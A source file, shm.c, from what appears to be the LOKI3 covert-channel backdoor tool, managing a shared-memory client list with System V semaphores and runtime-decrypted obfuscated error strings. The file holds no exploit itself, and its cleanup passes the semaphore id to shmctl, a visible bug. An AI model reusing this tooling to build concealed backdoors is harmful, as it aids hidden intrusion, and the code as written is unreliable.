summaryrefslogtreecommitdiff
path: root/shm.c
blob: c20d3c5abe49b74bf74b5571d7b9ef42b3dfb7ee (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
/*
 * LOKI3
 *
 * [ shm.c ]
 *
 *  1996/7 Guild Corporation Worldwide      [daemon9]
 */

#include "loki.h"
#include "client_db.h"
#include "shm.h"

extern struct loki rdg;
extern int verbose;
extern int destroy_shm;
struct client_list *client = 0;

int semid;


/*
 * Obfuscated strings
 */
extern estring S_MSG_SHM_DETACH_ERROR;
extern estring S_MSG_CANNOT_DESTROY_SHMID;
extern estring S_MSG_CANNOT_DESTROY_SEMAPHORE;
extern estring S_MSG_SHM_SEGMENT_ERROR;
extern estring S_MSG_SEMAPHORE_ALLOCATION_ERROR;
extern estring S_MSG_CANNOT_LOCK_MEMORY;
extern estring S_MSG_CANNOT_UNLOCK_MEMORY;

/*
 *  Prepare shared memory and semaphoreg
 */
void prep_shm() {
	key_t shmkey    = SHM_KEY + getpid();  /* shared memory key ID */
	key_t semkey    = SEM_KEY + getpid();  /* semaphore key ID     */
	int shmid, len  = sizeof(struct client_list) * MAX_CLIENT;

	/* Request a shared memory segment */
	if ((shmid = shmget(shmkey, len, IPC_CREAT)) < 0) {
		err_exit(1, 1, verbose, decrypt(S_MSG_SHM_SEGMENT_ERROR));
	}

	/* Get SET_SIZE semaphore to perform shared memory locking with */
	if ((semid = semget(semkey, SET_SIZE, (IPC_CREAT | SHM_PRM))) < 0) {
		err_exit(1, 1, verbose, decrypt(S_MSG_SEMAPHORE_ALLOCATION_ERROR));
	}

	/* Attach pointer to the shared memory segment */
	client = (struct client_list *) shmat(shmid, NULL, 0);

	/* clear the database */
	for (int i = 0; i < MAX_CLIENT; i++) {
		bzero(&client[i], sizeof(client[i]));
	}
}


/*
 *  Locks the semaphore so the caller can access the shared memory segment.
 *  This is an atomic operation.
 */
void locks() {
	struct sembuf lock[2] = {
		{0, 0, 0},
		{0, 1, SEM_UNDO}
	};

	if (semop(semid, &lock[0], 2) < 0) {
		err_exit(1, 1, verbose, decrypt(S_MSG_CANNOT_LOCK_MEMORY));
	}
}


/*
 *  Unlocks the semaphore so the caller can access the shared memory segment.
 *  This is an atomic operation.
 */
void ulocks() {
	struct sembuf ulock[1] = {
		{ 0, -1, (IPC_NOWAIT | SEM_UNDO) }
	};

	if (semop(semid, &ulock[0], 1) < 0) {
		err_exit(1, 1, verbose, decrypt(S_MSG_CANNOT_UNLOCK_MEMORY));
	}
}


/*
 *  Release the shared memory segment.
 */
void dump_shm() {
	locks();

	if ((shmdt((uint8_t *)client)) == -1) {
		err_exit(1, 1, verbose, decrypt(S_MSG_SHM_DETACH_ERROR));
	}

	if (destroy_shm == OK) {
		if ((shmctl(semid, IPC_RMID, NULL)) == -1) {
			err_exit(1, 1, verbose, decrypt(S_MSG_CANNOT_DESTROY_SHMID));
		}

		if ((semctl(semid, IPC_RMID, 0, NULL)) == -1) {
			err_exit(1, 1, verbose, decrypt(S_MSG_CANNOT_DESTROY_SEMAPHORE));
		}
	}

	ulocks();
}

/* EOF */